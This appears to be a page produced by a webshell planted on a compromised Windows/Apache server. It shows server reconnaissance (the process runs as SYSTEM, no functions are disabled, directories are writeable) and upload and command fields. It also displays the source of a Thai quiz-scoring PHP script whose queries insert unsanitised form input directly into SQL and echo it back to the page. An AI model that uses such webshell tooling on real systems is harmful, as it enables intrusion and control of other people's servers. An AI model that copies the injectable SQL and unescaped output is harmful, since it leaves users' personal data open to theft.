403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/training/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/training/img//checkit.php
<html>
        <?php require"header.php" ?>
        <script type="text/javascript">
        window.history.forward();
        function noBack() {
            window.history.forward();
        }
    </script>
<script>
    if ( window.history.replaceState ) {
        history.replaceState("", "", "quiz.php");
    }
</script>
<body>

<?php require"navbar.php" ?>
<div class="container-xxl">
<div class="row">
  <?php include('side.php');?>
  <div class="col-9">

  <?php
$thisUserName = trim($_POST["usrName"]);
$subjName = $_POST["subjName"];
$cutpoint = $_POST["cpoint"];
$email = $_POST["email"];
$tel = $_POST["tel"];
$member = $_POST["member"];
$school = $_POST["school"];
$correctAns = $_POST["result"];  // $correctAns เป็น Array ประกอบด้วย คำตอบที่ถูก ที่ส่งมาจากตัวข้อสอบ
$numOfQstns = sizeof($correctAns);
$score = 0;
// รับคำตอบ
for ($i=1; $i<=$numOfQstns; $i++)
   {
      $stAns[$i-1] = trim($_POST["question" . $i]);  
   }
// ตรวจคำตอบ
for ($i=0; $i<=($numOfQstns-1); $i++)
   {
  $correct = $correctAns[$i];
        $stAnswer = $stAns[$i];
  if($stAnswer == $correct) {
  $score++;
  };
   };
    $percentage = number_format($score/$numOfQstns*100, 2, '.', '');
 echo "ชื่อผู้ทำข้อสอบ:  $thisUserName<br>";
 echo "ข้อสอบวิชา: $subjName <br>";
 echo"ทำข้อสอบได้ทั้งหมด: $score ข้อ คิดเป็นร้อยละ $percentage <br>";
 echo "<br><br><b>ผลการสอบ</b>";
   if($percentage >=$cutpoint) {

	require_once 'db.php';
		$sql = "INSERT INTO quiz_pass (name, email, tel, member, school, subject, status, score, percent)
		VALUES ('$thisUserName', '$email', '$tel', '$member', '$school', '$subjName', 'ผ่าน', '$score', '$percentage')";
if (mysqli_query($conn, $sql)) {
  echo "<br>ขอแสดงความยินดี ท่านผ่านเกณฑ์ $cutpoint %<p><input type=\"button\" value=\"ดาวน์โหลดเกียรติบัตร\" onClick=location.href='../download.php';>";
} else {
  echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}

mysqli_close($conn);
   }else{
	require_once 'db2.php';

		$sql2 = "INSERT INTO quiz_nopass (name, email, tel, member, school, subject, status, score, percent)
		VALUES ('$thisUserName', '$email', '$tel', '$member', '$school', '$subjName', 'ไม่ผ่าน', '$score', '$percentage')";
if (mysqli_query($conn2, $sql2)) {
  echo "<br><span style=\"color: #f00;\"> ท่านไม่ผ่านเกณฑ์ $cutpoint %</span><p><input type=\"button\" value=\"ทำข้อสอบใหม่\" onClick=location.href='quiz.php';>";
} else {
  echo "Error: " . $sql2 . "<br>" . mysqli_error($conn2);
}
mysqli_close($conn2);

   }
?>

</div>
  </div>
</div>
  <?php require"footer.php" ?>


</body>


</html>

Youez - 2016 - github.com/yon3zu
LinuXploit